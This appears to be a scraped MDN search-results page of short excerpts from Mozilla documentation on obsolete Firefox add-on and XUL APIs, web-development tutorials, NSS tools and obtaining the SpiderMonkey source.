this article's goal is to help you make these decisions to ensure the confidentiality and integrity communication between client and server.
...it was updated to ssl 3.0 not long after, and as its usage expanded, it became clear that a common, standard encryption technology needed to be specified to ensure interoperability among all web browsers and servers.
...http encrypted using tls is commonly referred to as https.
...And 4 more matches
page-worker - Archive of obsolete content
you can communicate with the script using either the postmessage() api or (preferably, usually) the port api.
... like a content script, these scripts can communicate with the add-on code using the postmessage() api or the port api.
...this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires thi...
...And 3 more matches
panel - Archive of obsolete content
you can communicate with the script using either the postmessage() api or (preferably, usually) the port api.
... like a content script, these scripts can communicate with the add-on code using the postmessage() api or the port api.
...this may take one of the following values: "start": load content scripts immediately after the document element for the panel is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the panel has been loaded, at the time the window.onload event fires t...
...And 3 more matches
ui/sidebar - Archive of obsolete content
communicating with sidebar scripts you can't directly access your sidebar's content from your main add-on code, but you can send messages between your main add-on code and scripts loaded into your sidebar.
... here's a simple but complete add-on that shows how to set up communication between main.js and a script in a sidebar, in the case where the sidebar script initiates communication: the html file includes just a script, "sidebar.js": <!doctype html> <html> <body> content for my sidebar <script type="text/javascript" src="sidebar.js"></script> </body> </html> the "sidebar.js" file sends a ping message to main.js using port.emit() as soon as it load...
... here's a simple but complete add-on that shows how to set up communication between main.js and a script in a sidebar, in the case where the main.js script initiates communication: the html file includes just a script, "sidebar.js": <!doctype html> <html> <body> content for my sidebar <script type="text/javascript" src="sidebar.js"></script> </body> </html> the "sidebar.js" file listens to the ping message from main.js, and responds with a pong m...
...And 3 more matches
JavaScript timers - Archive of obsolete content
but there are some javascript native functions (timers) which allow us to delay the execution of arbitrary instructions: settimeout() setinterval() setimmediate() requestanimationframe() the settimeout() function is commonly used if you wish to have your function called once after the specified delay.
... the setinterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.
... the setimmediate() function can be used instead of the settimeout(fn, 0) method to execute heavy operations in ie.
...And 3 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
all the tools for building are available built-in, and therefore all you have to do is run some commands in the terminal.
... building it as mentioned above, you'll probably want to build your extension immediately after creating your idl files in order to generate the c++ stubs for your component implementations.
...if not, return immediately to the beginning of this article and don't come back til you have a functioning firefox.exe.
...And 3 more matches
Enhanced Extension Installation - Archive of obsolete content
first it must locate the firefox executable, then run it with the -install-global-extension command line flag, which installs from a xpi into the firefox application directory.
... finalization for themes, the item is immediately installed fully, rather than awaiting the next restart, since themes do not supply xpcom components, preferences defaults etc.
...[hklm|hkcu]\software\mozilla\firefox\extensions given these goals, and the likelihood of future goals, such as potential for extensions to the xulrunner framework, common drop zones for xpis etc it makes sense to have the set of install locations be customizable.
...And 3 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
« previous this document was authored by taro (btm) matsuzawa and was originally published in japanese for the firefox developers conference summer 2007.
...it should be very easy for java programmers to get up to speed on it quickly.
...), 1); }, listing 5: calc.js (implementing subtraction operation) minus: function() { this._letfunc(this._minus); }, _minus: function(a, b) { return a - b; }, listing 6: calc.js (correcting mistake in implementation of subtraction) _letfunc: function(func) { // correct pop order b = this.pop(); a = this.pop(); this.push(func(a, b)); }, understanding source code in the open-source community, you can learn a lot about how software works by studying its source code; with a massive project like firefox, people typically use special source-code browsing tools to make sense of it.
...And 3 more matches
Mozilla Documentation Roadmap - Archive of obsolete content
« previousnext » mozilla documentation firefox extension development is still an immature discipline, with a developer base consisting mostly of hobbyists and just a few organized development groups.
...it's incredibly comprehensive, and its underlying wiki technology makes it easy to expand and evolve with the help of the community.
...first of all, the in-site search is not reliable, so we recommend using a search engine like google, with queries such as "mdc javascript code modules" or "javascript code modules site:developer.mozilla.org".
...And 3 more matches
Setting up an extension development environment - Archive of obsolete content
in the following example, the described command starts a new instance of firefox, with a profile called dev; even if an instance of firefox is already running.
... development command flags as of gecko 2 (firefox 4), javascript files are cached ("fastload").
... the -purgecaches command-line flag disables this behavior.
...And 3 more matches
Underscores in class and ID Names - Archive of obsolete content
note: browser support for underscores in css has greatly improved since this article was originally published in 2001 and the following recommendation is no longer accurate for most circumstances.
... summary: the use of the underscore character in css can lead to major display problems in multiple browsers.
... it is a fairly common practice in many programming languages to use the underscore character (_) in the place of a "space" in variable and function names.
...And 3 more matches
XUL user interfaces - Archive of obsolete content
in xul, many common user interface features are built in.
...value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <columns> <column/> <column/> </columns> <rows> <row> <label class="text-prompt" value="date:" accesskey="d" control="date-text"/> <textbox id="date-text" type="timed" timeout="750" oncommand="refresh();"/> </row> <row> <label value="day:"/> <hbox id="day-box"> <label class="day" value="sunday" disabled="true"/> <label class="day" value="monday" disabled="true"/> <label class="day" value="tuesday" disabled="true"/> <label class="day" value="wednesday" disabled="true"/> <label class="da...
...y" value="thursday" disabled="true"/> <label class="day" value="friday" disabled="true"/> <label class="day" value="saturday" disabled="true"/> </hbox> </row> </rows> </grid> <hbox class="buttons"> <button id="clear" label="clear" accesskey="c" oncommand="cleardate();"/> <button id="today" label="today" accesskey="t" oncommand="settoday();"/> </hbox> </groupbox> <statusbar> <statusbarpanel id="status"/> </statusbar> </vbox> </window> make a new css file, style7.css.
...And 3 more matches
In-Depth - Archive of obsolete content
place this xml file in \classic\skin\classic\communicator\toolbar\toolbarbindings.xml (you will need to create the sub directory).
...open up \classic\skin\classic\communicator\communicator.css and look for the .toolbar-primary section.
... there is a -moz-binding command there.
...And 3 more matches
Plug-n-Hack Phase1 - Archive of obsolete content
an example manifest (for owasp zap) is: { "toolname":"owasp zap", "protocolversion":"0.2", "features":{ "proxy":{ "pac":"http://localhost:8080/proxy.pac", "cacert":"http://localhost:8080/other/core/other/rootcert/" }, "commands":{ "prefix":"zap", "manifest":"http://localhost:8080/other/mitm/other/service/" } } } the top level manifest includes optional links to a proxy pac and a root ca certificate.
... it also optionally links to another manifest which describes the commands the browser can invoke.
...security tool commands manifest an example commands manifest (for owasp zap) is: https://code.google.com/p/zap-extensions/source/browse/branches/beta/src/org/zaproxy/zap/extension/plugnhack/resource/service.json firefox ui in firefox the tool commands will be made available via the developer toolbar (gcli) https://developer.mozilla.org/docs/tools/gcli a example of how the zap commands are currently displayed is: n...
...And 3 more matches
Elements - Archive of obsolete content
only immediate children are matched against the selector.
... for example, an xml fragment <customelement><foobar><hoge/></foobar></customelement> with an binding definition <binding id="customelement"><content><xul:box><children includes="hoge"/></xul:box></content></binding> for the customelement element, <xul:box/> becomes empty because the selector includes="hoge" doesn't match for the immediate child foobar element.
...its value is a comma-separated list of named interfaces.
...And 3 more matches
execute - Archive of obsolete content
summary launches a file inside the install archive.
...the optional blocking argument, when set to true, specifies that the installation should wait for this executable to finish before processing the next queued install command.
... passing arguments to the executable the args parameter, when present, passes a string to the executable as command-line parameters.
...And 3 more matches
textbox.type - Archive of obsolete content
the command event will fire as the user modifies the value.
... a listener for the command event should update search results.
... if the searchbutton attribute is set to true, the command event is only fired if the user presses the search button or presses the enter key.
...And 3 more matches
Special per-platform menu considerations - Archive of obsolete content
for many menu commands, convention dictates where these items will be placed.
... for instance, the edit menu always starts with the undo command if such a feature is available in the application, followed by redo, cut, copy, paste, and so forth.
... some menu items have specific common labels or locations where certain menu items would go that differ on each platform.
...And 3 more matches
PopupEvents - Archive of obsolete content
this event is most commonly used to add or adjust items on the popup based on the context.
...this technique, as shown in the following example, is needed if you wish to open a submenu programmatically.
...shown", filemenuopened, false); var openmenu = document.getelementbyid("open-menu"); openmenu.open = true; } </script> <menu id="file-menu" label="file"> <menupopup id="file-menupopup"> <menu id="open-menu" label="open"> <menupopup> <menuitem label="file..."/> <menuitem label="page"/> </menupopup> </menu> </menupopup> </menu> <button label="open" oncommand="openfilemenu();"/> when the button is pressed, the openfilemenu function is called.
...And 3 more matches
Custom toolbar button - Archive of obsolete content
alette> <!-- thunderbird address book --> <toolbarpalette id="addressbooktoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- sunbird --> <toolbarpalette id="calendartoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- button details --> <toolbarbutton id="custom-button-1" label="custom" tooltiptext="my custom toolbar button" oncommand="custombutton[1]()" class="toolbarbutton-1 chromeclass-toolbar-additional custombutton" /> </overlay> optionally customize the file by changing the label and tooltiptext in the last section.
...paste it into the new file: #custom-button-1, #wrapper-custom-button-1 {list-style-image: url("chrome://custombutton/content/button-1.png");} /* common style for all custom buttons */ .custombutton {-moz-image-region: rect( 0px 24px 24px 0px);} .custombutton:hover {-moz-image-region: rect(24px 24px 48px 0px);} [iconsize="small"] .custombutton {-moz-image-region: rect( 0px 40px 16px 24px);} [iconsize="small"] .custombutton:hover {-moz-image-region: rect(24px 40px 40px 24px);} there is nothing to customize.
...it uses the javascript programming language, together with features provided by the application.
...And 3 more matches
More Menu Features - Archive of obsolete content
we'll just add a few simple commands to a file menu and an edit menu.
...sskey="c"/> </menupopup> </menu> <menu id="edit-menu" label="edit" accesskey="e"> <menupopup id="edit-popup"> <menuitem label="cut" accesskey="t"/> <menuitem label="copy" accesskey="c"/> <menuitem label="paste" accesskey="p" disabled="true"/> </menupopup> </menu> </menubar> <toolbar id="findfiles-toolbar> here we have added two menus with various commands on them.
...the three dots after open search and save search are the usual way that you indicate to the user that a dialog will open when selecting the command.
...And 3 more matches
checkbox - Archive of obsolete content
this is most commonly rendered as a box when the element is off and a box with a check when the element is on.
... attributes accesskey, checked, command, crop, disabled, src, label, preference, tabindex properties accesskey, accessibletype, checked, command, crop, disabled, src, label, tabindex examples <checkbox label="enable javascript" checked="true"/> <checkbox label="enable java" checked="false"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... command type: id set to the id of a command element that is being observed by the element.
...And 3 more matches
datepicker - Archive of obsolete content
in xul, the value attribute may be set to a value of the form yyyy-mm-dd to initialize the datepicker to a certain date.
... to change the selected date, the value property may be used to set a new value in the form yyyy-mm-dd.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 3 more matches
menulist - Archive of obsolete content
the command event may be used to execute code when the menulist selection changes.
... attributes accesskey, crop, disableautoselect, disabled, editable, focused, image, label, oncommand, open, preference, readonly, sizetopopup, tabindex, value properties accessibletype, crop, description, disableautoselect, disabled, editable, editor, image, inputfield, itemcount, label, menuboxobject, menupopup, open, selectedindex, selecteditem, tabindex, value methods appenditem, contains, getindexofitem, getitematindex, insertitemat, removeallitems, removeitemat, select examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes ...
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 3 more matches
menuseparator - Archive of obsolete content
attributes acceltext, accesskey, allowevents, command, crop, disabled, image, label, selected, tabindex, value properties accessibletype, accesskey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value examples <menu label="menu"> <menupopup> <menuitem label="item1"/> <menuseparator/> <menuitem label="item2"/> <menuitem label="item3"/> </menupopup> </menu> attributes acceltext type: string text that appears beside the menu label to indicate the shortcu...
...t key (accelerator key) to use to invoke the command.
... command type: id set to the id of a command element that is being observed by the element.
...And 3 more matches
timepicker - Archive of obsolete content
to specify the initial, use the value attribute set to a value of either the form hh:mm:ss or hh:mm.
...the former specifies the time as a string of the form hh:mm:ss whereas the latter specifies the time as a date object.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 3 more matches
toolbar - Archive of obsolete content
currentset not in seamonkey 1.x type: comma-separated string the current set of displayed items on the toolbar.
...the value of this attribute should be a comma-separated list of item ids from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer".
... defaultset not in seamonkey 1.x type: comma-separated list of item ids the default set of displayed items on the toolbar.
...And 3 more matches
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.builds - october 14th to october 20th 2006 linux reference platform 1.8.1 october 18th: marcus is wondering about the linux platform that is currently used to compile both public releases of firefox and xulrunner.
... christopher finke is asking the community members for tutorials or any tips on how to get started.
... in jan vávra's case he is modifying the thunderbird installer so he needs to modify "mail/installer/windows/packages-static" announcements decommissioning sparky on friday on october 17th j.
...And 3 more matches
Table Reflow Internals - Archive of obsolete content
the container posts a dirty reflow command with itself as the target.
...the container posts a dirty reflow command with itself as the target.
... ususally it starts when the pres shell processes its queue of reflow commands.
...And 3 more matches
Scratchpad - Archive of obsolete content
but even with possible limitations present, the html code can be either manually entered or copied from the source and pasted into the "about:blank" page (a new empty tab) with the use page inspector's edit as html context menu command.
...for example, if you type document.addeventlistener, then press ctrl + shift + space, you'll see a popup that shows a summary of the function's syntax and a short description: the "[docs]" link takes you to the mdn documentation for the symbol.
... for example, if you enter the code: window then choose inspect, the object inspector is shown that looks something like this: display the display option executes the selected code, then inserts the result directly into your scratchpad editor window as a comment, so you can use it as a repl.
...And 3 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
summary: thanks to long-standing limitations, we're used to thinking of hover styles as applying only to hyperlinks, which has led to some sloppy authoring practices that are now causing problems for some web sites.
... a common variant is to use a bare class and hover pseudo-class together, like this: .nav:hover {color: red;} in situations where the only instances of the class value nav are applied to hyperlinks, this will work fine.
... named anchor problems in addition to the effects described previously, there are two other relatively common effects that authors may not expect.
...And 3 more matches
Tiles and tilemaps overview - Game development
this set of articles covers the basics of creating tile maps using javascript and canvas (although the same high level techniques could be used in any programming language.) besides the performance gains, tilemaps can also be mapped to a logical grid, which can be used in other ways inside the game logic (for example creating a path-finding graph, or handling collisions) or to create a level editor.
... the tilemap data structure it is common to group all the information needed to handle tilemaps into the same data structure or object.
...a more generic case would be rectangular-based tilemaps — instead of square — but they are far less common.
...And 3 more matches
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
immutables are the objects whose state cannot be changed once the object is created.
... strings and numbers are immutable.
... lets understand this with an example: var immutablestring = "hello"; // in the above code, a new object with string value is created.
...And 3 more matches
MDN Web Docs Glossary: Definitions of Web-related terms
e authority certified challenge-response authentication character character encoding character set chrome cia cipher cipher suite ciphertext class client hints closure cms code splitting codec compile compile time computer programming conditional constant constructor continuous media control flow cookie copyleft cors cors-safelisted request header cors-safelisted response header crawler crlf cross axis cross-site scripting crud cryptanalysis cryptographic hash function ...
... distributed denial of service dmz dns doctype document directive document environment dom (document object model) domain domain name domain sharding dominator dos attack dtls (datagram transport layer security) dtmf (dual-tone multi-frequency signaling) dynamic programming language dynamic typing e ecma ecmascript effective connection type element empty element encapsulation encryption endianness engine entity entity header event exception expando f fallback alignment falsy ...
... gonk google chrome gpl gpu graceful degradation grid grid areas grid axis grid cell grid column grid container grid lines grid row grid tracks guard gutters gzip compression h hash head high-level programming language hmac hoisting host hotlink houdini hpkp hsts html html5 http http header http/2 http/3 https hyperlink hypertext i i18n iana icann ice ide idempotent identifier ...
...And 3 more matches
Grids - Learn web development
a grid will typically have columns, rows, and then gaps between each row and column — commonly referred to as gutters.
...add this to the css inside your file: .container { display: grid; } unlike flexbox, the items will not immediately look any different.
...proin blandit quam nec lacus varius commodo et a urna.
...And 3 more matches
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
documents with an incomplete, incorrect, or missing doctype declaration or a known doctype declaration in common use before 2001 will be rendered in quirks mode.
... this is a list of the most commonly used doctype declarations that will trigger standards or almost standards mode: <!doctype html> /* this is the html5 doctype.
... given that each modern browser uses an html5 parser, this is the recommended doctype */ <!doctype html public "-//w3c//dtd html 4.0 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html4/strict.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> when at all possible, you should just use the html5 doctype.
...And 3 more matches
Web fonts - Learn web development
there are only a handful of fonts that you can guarantee to be available across all common systems — the so-called web-safe fonts.
...for each font, follow these steps: make sure you have satisfied any licensing requirement, if you are going to use this in a commercial and/or web project.
...multiple declarations can be listed, separated by commas — the browser will search through them and use the first one it can find that it understands — it is therefore best to put newer, better formats like woff2 earlier on, and older, not so good formats like ttf later on.
...And 3 more matches
Learn to style HTML using CSS - Learn web development
we recommend that you work through our introduction to html module first.
... in that module, you will learn about: css, starting with the introduction to css module more advanced html modules javascript, and how to use it to add dynamic functionality to web pages once you understand the fundamentals of html, we recommend that you learn html and css at the same time, moving back and forth between the two topics.
... it is recommended that you work through getting started with the web before proceeding with this topic.
...And 3 more matches
The HTML5 input types - Learn web development
you can also use the multiple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by commas): <input type="email" id="email" name="email" multiple> on some devices — notably, touch devices with dynamic keyboards like smart phones — a different virtual keypad might be presented that is more suitable for entering email addresses, including the @ key.
...it is a helpful aid to guide users to fill out a form accurately, and it can save time — it is useful to know that your data is not correct immediately, rather than having to wait for a round trip to the server.
...to that end, it's highly recommended that you set the min, max, and step attributes which set the minimum, maximum and increment values, respectively.
...And 3 more matches
CSS basics - Learn web development
like html, css is not a programming language.
...separate multiple selectors by commas.
...here are some of the more common types of selectors: selector name what does it select example element selector (sometimes called a tag or type selector) all html elements of the specified type.
...And 3 more matches
HTML basics - Learn web development
html is not a programming language; it is a markup language that defines the structure of your content.
... note: simple attribute values that don't contain ascii whitespace (or any of the characters " ' ` = < > ) can remain unquoted, but it is recommended that you quote all attribute values, as it makes the code more consistent and understandable.
...html contains 6 heading levels, <h1>–<h6>, although you'll commonly only use 3 to 4 at most: <h1>my main title</h1> <h2>my top level heading</h2> <h3>my subheading</h3> <h4>my sub-subheading</h4> now try adding a suitable title to your html page just above your <img> element.
...And 3 more matches
Advanced text formatting - Learn web development
aside in drama, where a character shares a comment only with the audience for humorous or dramatic effect.
...in drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd> <dt>monologue</dt> <dd>in drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd> <dt>aside</dt> <dd>in drama, where a character shares a comment only with the audience for humorous or dramatic effect.
... note that it is permitted to have a single term with multiple descriptions, for example: <dl> <dt>aside</dt> <dd>in drama, where a character shares a comment only with the audience for humorous or dramatic effect.
...And 3 more matches
HTML table basics - Learn web development
LearnHTMLTablesBasics
a table allows you to quickly and easily look up values that indicate some kind of connection between different types of data, for example a person and their age, or a day of the week, or the timetable for a local swimming pool.
... tables are very commonly used in human society, and have been for a long time, as evidenced by this us census document from 1800: it is therefore no wonder that the creators of html provided a means by which to structure and present tabular data on the web.
...this was commonly used because css support across browsers used to be terrible; table layouts are much less common nowadays, but you might still see them in some corners of the web.
...And 3 more matches
JavaScript building blocks - Learn web development
in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events.
... guides making decisions in your code — conditionals in any programming language, code needs to make decisions and carry out actions accordingly depending on different inputs.
...in programming, loops perform this job very well.
...And 3 more matches
Third-party APIs - Learn web development
they are found on third-party servers browser apis are built into the browser — you can access them from javascript immediately.
...this is a common pattern you'll encounter with apis.
... add the following line to your javascript, below the "// event listeners to control the functionality" comment.
...And 3 more matches
Handling text — strings in JavaScript - Learn web development
previous overview: first steps next next, we'll turn our attention to strings — this is what pieces of text are called in programming.
... in this article, we'll look at all the common things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in strings, and joining strings together.
... the power of words words are very important to humans — they are a large part of how we communicate.
...And 3 more matches
Inheritance in JavaScript - Learn web development
a common way is to use a javascript library — most of the popular options have an easy set of functionality available for doing inheritance more easily and quickly.
... object member summary to summarize, you've got four types of property/method to worry about: those defined inside a constructor function that are given to object instances.
...these are commonly only available on built-in browser objects, and are recognized by being chained directly onto a constructor, not an instance.
...And 3 more matches
Working with JSON - Learn web development
it is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or vice versa).
...even though it closely resembles javascript object literal syntax, it can be used independently from javascript, and many programming environments feature the ability to read (parse) and generate json.
... "turning tiny", "radiation blast" ] }, { "name": "madame uppercut", "age": 39, "secretidentity": "jane wilson", "powers": [ "million tonne punch", "damage resistance", "superhuman reflexes" ] }, { "name": "eternal flame", "age": 1000000, "secretidentity": "unknown", "powers": [ "immortality", "heat immunity", "inferno", "teleportation", "interdimensional travel" ] } ] } if we loaded this object into a javascript program, parsed in a variable called superheroes for example, we could then access the data inside it using the same dot/bracket notation we looked at in the javascript object basics article.
...And 3 more matches
Object prototypes - Learn web development
in this example, we have defined a constructor function, like so: function person(first, last, age, gender, interests) { // property and method definitions this.name = { 'first': first, 'last' : last }; this.age = age; this.gender = gender; //...see link in summary above for full definition } we have then created an object instance like this: let person1 = new person('bob', 'smith', 32, 'male', ['music', 'skiing']); if you type "person1." into your javascript console, you should see the browser try to auto-complete this with the member names available on this object: in this list, you will see the members defined on person1's constructor — person...
...these all have a number of members defined on their prototype, which is why for example when you create a string, like this: let mystring = 'this is my string.'; mystring immediately has a number of useful methods available on it, like split(), indexof(), replace(), etc.
... for example, try these commands in the console: person1.constructor person2.constructor these should both return the person() constructor, as it contains the original definition of these instances.
...And 3 more matches
Aprender y obtener ayuda - Learn web development
also, it might be a good idea to have some sub-goals worked out to allow you to keep track of where you are more easily, for example: html and css basics learnt by summer javascript basics learnt by december example website project built by next april etc.
... staying motivated it is hard to stay motivated, especially if you are trying to learn a complex skill like programming or web development.
...we'd recommend taking a 15 minutes break every hour to 90 minutes.
...And 3 more matches
Creating our first Vue component - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...because the shorthand syntax is more commonly used, this tutorial will stick to that pattern.
...we now have a working checkbox where we can set the state programmatically.
...And 3 more matches
Cross browser testing - Learn web development
guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g.
... handling common html and css problems with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur.
... handling common javascript problems now we'll look at common cross-browser javascript problems and how to fix them.
...And 3 more matches
A bird's-eye view of the Mozilla framework
thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/ this article also assumes you are familiar with the javascript and c++ programming languages, object-oriented programming (oop) terminology and design concepts, the microsoft® component object model (com), and the corba omg interface definition language (idl).
... user interface (ui) widgets and services the x window system toolkit defines the termwidget as a pre-defined object that encapsulates both the command actions and data associated with a graphical user interface (gui) control.
... the various x toolkit implementations provide a set of widgets for ui controls such as menus, command buttons, dialog boxes and scroll bars.
...And 3 more matches
Chrome registration
starting with gecko 2.0, the root chrome.manifest is the only manifest used; you can add manifest commands to that file to load secondary manifests.
... manifest instructions comments # this line is a comment - you can put here whatever you want a line is a comment if it begins with the character '#'.
...typically a contract id will be paired with a component entry immediately preceding.
...And 3 more matches
Creating Custom Events That Can Pass Data
if you have an event named nsdommyfirstevent your nsdomclassinfoclasses entry would be domci_class(myfirstevent)).
... nsdomevent* it = new nsdommyevent(aprescontext, aevent); if (nsnull == it) { return ns_error_out_of_memory; } return callqueryinterface(it, adomevent); } in general though i'd strongly recommend using a function the way that everyone else does.
... #include "nsidomevent.idl" [scriptable, uuid(08bea243-8a7b-4554-9ee9-70d7785d741b)] interface nsidommyevent: nsidomevent { //put members here!
...And 3 more matches
ESLint
this automatic linting can happen either while coding, in a code editor, or when using the command line.
... setting up eslint ./mach eslint --setup running eslint eslint can be run via: ./mach lint -l eslint you can limit running it to a specific directory with: ./mach lint -l eslint browser/components or work directory changes: ./mach lint -l eslint -w or outgoing commits only: ./mach lint -l eslint -o see ./mach eslint --help for more options when running eslint.
... editor integration it is highly recommended that you integrate eslint into your editor.
...And 3 more matches
SVG Guidelines
it's recommended to put the attributes on the same line as their tag names, if possible.
...metadata can mean many things, including: the typical "created with editor" comments non-standard editor specific tags and attributes (sketch:foo, illustrator:foo, sopodi:foo, …) the xml namespace definition that comes with the latter (xmlns:sketch, xmlns:sopodi, …) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists.
...plus, in most of the cases, the filename is quite descriptive so it's recommended to remove that kind of metadata since it doesn't bring much value.
...And 3 more matches
Cross Process Object Wrappers
chrome code can load frame scripts into the content process using the message manager, and can then communicate with them using a message-passing api.
...the chrome script can get and set the wrapped object's properties and call its functions: // chrome script windowmm.addmessagelistener("my-e10s-extension-message", handlemessage); function handlemessage(message) { let wrapper = message.objects.clicked; console.log(wrapper.innerhtml); wrapper.innerhtml = "<h2>modified by chrome!</h2>" wrapper.setattribute("align", "center"); } auto-generated cpows add-ons that have not declared themselves multiprocess compatible are set up with a number of compatibil...
... bidirectional cpows a common pattern is for chrome code to access content objects and add event listeners to them.
...And 3 more matches
Performance best practices for Firefox front-end engineers
the rendering process goes through the following steps: the above image is used under creative commons attribution 3.0, courtesy of this page from our friends at google, which itself is well worth the read.
...normally, the changes to the dom just result in the standard style calculation occurring immediately after the javascript has finished running during the 16ms window, inside the "style" step.
... it should be possible to write a test that gets the nsidomwindowutils for a browser window, records the number of styleflushes, then synchronously calls the function that you want to test, and immediately after checks the styleflushes attribute again.
...And 3 more matches
Storage access policy: Block cookies from trackers
we recommend sites test with firefox nightly, as this includes the newest version of our protections.
...although both of these approaches provide the same level of storage access, we recommend third parties switch to using the storage access api in order to guarantee their access to storage.
...these heuristics are intended to allow some third-party integrations that are common on the web to continue to function.
...And 3 more matches
Fonts for Mozilla 2.0's MathML engine
furthermore, in accordance with the w3c css2 recommendation on fonts, authors can specify an ordered list of particular fonts which they prefer (using the font-family property of css), with the assurance that mozilla's font engine will hunt for alternate fonts whenever their specified fonts are not found on a particular user's system.
...summation symbol) or by assembling glyphs for a few pieces of the character (e.g braces).
...mozilla has general support for the common delimiters and arrows that have the necessary unicode assignments.
...And 3 more matches
Mozilla MathML Project
for a quick overview, see the slides for the innovation fairs at mozilla summit 2013.
... updates status of each tag result of the mathml 3 testsuite unofficial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived content community view mozilla forums...
... links installing fonts for mozilla's mathml engine mathml version 3.0 - w3c recommendation, 21 october 2010 w3c mathml test suite - designed to check the implementation of each element one attribute (or built-in rendering behavior) at a time in a fairly thorough manner.
...And 3 more matches
Activity Monitor, Battery Status Menu and top
(apple support documentation specifically recommends it for troubleshooting battery life problems.) unfortunately "energy impact" is not a good measure for either users or software developers and it should be avoided.
...the weightings of each factor can be found in one of the the files in /usr/share/pmenergy/mac-<id>.plist, where <id> can be determined with the following command.
...the exception is when the application is closed, in which case it disappears immediately.
...And 3 more matches
Profiling with the Firefox Profiler
common performance bugs in firefox inefficient code that is on the reflow or restyle paths is often to blame for jank.
... some more tips and answers to common questions are available in a mid-2017 faq document.
... if the default threads to be profiled are insufficient, you can choose which threads to profile using moz_profiler_startup_filters, which is a comma separated list.
...And 3 more matches
about:memory
if you are using a communication channel where files can be sent, such as bugzilla or email, click on the "measure and save..." button.
... if you are using a communication channel where only text can be sent, such as a comment thread on a website, click on the "measure..." button.
...if you find any particular tree overwhelming, it can be helpful to collapse all the sub-trees immediately below the root, and then gradually expand the sub-trees of interest.
...And 3 more matches
PKCS #11 Module Specs
valid names inside nss_params are: flags - comma separated list of flag values, parsed case-insensitive.
... ciphers - comma separated list of ciphers this token will enable that isn't already enabled by the library (currently only fortezza is defined) (case-insensitive).
... valid slotparams values are: slotflags - comma separated list of cipher groups which this slot is expected to be the default implementation for (case-insensitive).
...And 3 more matches
NSS tools : pk12util
-m | --key-len keylength specify the desired length of the symmetric key to be used to encrypt the private key.
... -n | --cert-key-len certkeylength specify the desired length of the symmetric key to be used to encrypt the certificates and other meta-data.
...changing the names of the certificate and key databases is not recommended.
...And 3 more matches
OLD SSL Reference
upgraded documentation may be found in the current nss reference ssl reference newsgroup: mozilla.dev.tech.crypto writer: sean cotter manager: wan-teh chang chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
... initialization initializing caches configuration communication functions used by callbacks cleanup chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases, to run the nss sample code.
... callback configuration ssl_authcertificatehook ssl_authcertificate ssl_badcerthook ssl_getclientauthdatahook nss_getclientauthdata ssl_handshakecallback ssl communication functions ssl_invalidatesession ssl_datapending ssl_securitystatus ssl_getsessionid ssl_setsockpeerid ssl functions used by callbacks ssl_peercertificate ssl_revealurl ssl_revealpinarg ...
...And 3 more matches
Getting SpiderMonkey source code
downloading gzipped spidermonkey source code you can download gzipped spidermonkey source code from the following urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a command-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these commands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell.
... the following command line downloads the entire mozilla repository, including the full change history and a lot of gecko and firefox source code that isn't part of spidermonkey.
